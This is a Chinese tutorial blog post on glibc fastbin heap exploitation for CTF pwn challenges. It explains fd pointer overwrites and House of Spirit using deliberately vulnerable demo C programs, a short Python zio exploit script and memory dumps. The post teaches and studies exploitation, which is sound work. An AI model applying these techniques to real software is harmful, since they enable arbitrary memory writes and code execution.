Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)

原文地址:https://www.cnblogs.com/Ox9A82/p/5865420.html

linux下的fastbin是ctf中pwn题的重点出题点。去年(2015)中,XCTF就有两站是使用fastbin的利用作为pwn400的压轴题来出现,这也是我刚开始接触fastbin的利用,参考了k0sh1师傅写在freebuf上的一篇文章。我写了几个demo来说明问题。

目录
1.关于fastbin

2.覆盖fd指针实现利用

3.任意地址free实现利用(House of Spirit)

1.关于fastbin
我们一般熟悉的堆都是双链表的chunk,但是对于大小为(16 Bytes~ 64 Bytes)的堆块来说则是使用fastbin来进行管理的。

fastbin的堆块结构与常规的chunk是完全一样,除了使用的是单链表。

如上图就是一个正在使用中的fastbin块的结构

这是未被使用fastbin块。

通过这两幅图可以看出,原本是双链表(fd和bd)的位置现变成了单链表(fd)。

而fastbin就是依靠单链表来组织的,堆管理结构始终维护一个指向最后一个chunk的指针。这个指针决定了下一次要分配的chunk地址。

未被使用的chunk被链入单链表中,单链表的第一个chunk成员的fd值为NULL。

具体的链表情况如下:

其中最上面的是指向单链表最后chunk块的指针,chunk3因为是第一个chunk所以fd=0。

2.覆盖fd指针实现利用
当一个fastbin堆块存在堆溢出的时候,这种方法就可以使用了。简要的过程就是通过溢出覆盖一个在单链表中的chunk块的fd指针,当再次分配后(至少分配两次),就会在被覆盖的fd处分配fastbin chunk块,从而实现向任意地址分配堆块。

下面详细解释一下:

1.成功利用的条件

存在可被溢出的fastbin chunk块,要求可以使chunk块的fd能被控制
欲被分配的地址,要求此地址的内容可控(存在size域)
2.如何利用

分配两个fastbin chunk
使用第一个(位于低地址)覆盖第二个(位于高地址)的fd指针。注意,第一个应该是已被分配的,不然就没法写入导致溢出。第二个应该是未被分配的,不然就不存在fd也不存在分配的问题了。
在欲分配的地址,比如bss段上构造一个伪chunk结构,比如l32(0x0)+l32(41)+l32(0x0)(即前块正在使用中+本块大小为40+fd为0)
进行分配即可得到任意地址分配堆块的效果。从而可以实现任意地址写任意值的效果。
    tips:指向的应为堆头的地址,而不是malloc返回的用户指针的位置

3.演示demo

复制代码
1 int BufForTst[100];
2
3 int main(int argc, char *argv[])
4 {
5 void *buf0,*buf1,*buf2,*buf3;
6 BufForTst[1]=0x29;
7 buf0 = malloc(32);
8 buf1 = malloc(32);
9 printf(“正常的chunk1、chunk2被分配\n”);
10 free(buf1);
11 printf(“chunk2被释放\n”);
12 printf(“break\n”);//for debug
13 read(0, buf0, 64);//overflow
14 buf2 = malloc(32);
15 buf3 = malloc(32);
16 printf(“发生溢出的chunk2被分配\n%p\n溢出改写的fd地址被分配\n%p\n”,buf2,buf3);
17 return 0;
18 }
复制代码
这个例程展示了如何通过覆盖fd指针实现向bss段分配堆块
buf0 buf1

0x403000:	0x00	0x00	0x00	0x00	0x29	0x00	0x00	0x00
0x403008:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403010:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403018:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403020:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403028:	0x00	0x00	0x00	0x00	0x29	0x00	0x00	0x00
0x403030:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403038:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403040:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403048:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

buf1位于0x403028,
0x403030溢出为0x804A060
这里溢出后如果buf1变成了不符合格式的bunk,就会崩溃。

但我们有下面的脚本伪造了了个chunk,指向0x804A060。
之后再malloc buf2 buf3
buf2就会使我们伪造的chunk分配出来的,buf3就是0x804A060指向的地址。

复制代码
1 from zio import *
2
3 io=zio(’./tst’,timeout=9999)
4 #io.gdb_hint()
5 io.read_until(‘break’)
6
7 sc=‘a’*32+l32(0x0)+l32(0x29)+l32(0x804A060)
8 #sc=‘abcd’
9 io.writeline(sc)
10 io.read()
复制代码
这个exp配合使用。命令如下

gcc tst.c -o tst
python exp.py

复制代码
1 #define fastbin_index(sz)
2 ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
3 …
4 if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
5 {
6 errstr = “malloc(): memory corruption (fast)”;
复制代码
注意,因为检查中没有进行对齐处理。所以可以利用错位来构造一个伪size结构以实现fasbin attack

3.任意地址free实现利用(House of Spirit)
当可以通过某种方式(比如栈溢出)控制free的参数时,就可以使用House of Spirit实现利用。大概的思路是free你要任意分配的地址,然后这个地址就会在再次分配的时候被分配到,但是要任意分配的地址要提起构造好伪chunk结构。

下面详细解释一下:

1.成功利用的条件

free的参数可控,可以指向欲分配的地址。
欲分配的地址要求内容可控,可以提前构造伪chunk
2.如何利用

在欲分配的地址上构造伪chunk。由于堆的检验机制,要求构造连续的两个伪chunk。比如l32(0x0)+l32(41)+‘aaaa’*8 +l32(0x0)+l32(41)
控制free的参数,指向chunk的地址
再次分配就可以在指定地点分配chunk了
   tips:free的地址为malloc的地址,也就是堆头+8的地址。

3.演示demo

复制代码
1 int TstBuf[100];
2 int main(int argc, char *argv[])
3 {
4 void *p;
5 int i;
6 TstBuf[1]=0x29;//为什么是0x29?因为32+8+FLAG位
7 TstBuf[11]=0X29;//
8 p=malloc(32);
9 printf(“正常的堆分配:%p\n”,p);
10 p=(int *)0x804A068;
11 free§;
12 printf(“free了一个任意地址\n”);
13 p=malloc(32);
14 printf(“再次分配堆,可以看到分配到了任意地址上:%p\n”,p);
15 }
复制代码
成功的把堆块分配到了bss上,为了方便我硬编码了,可以根据自己的情况修改。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值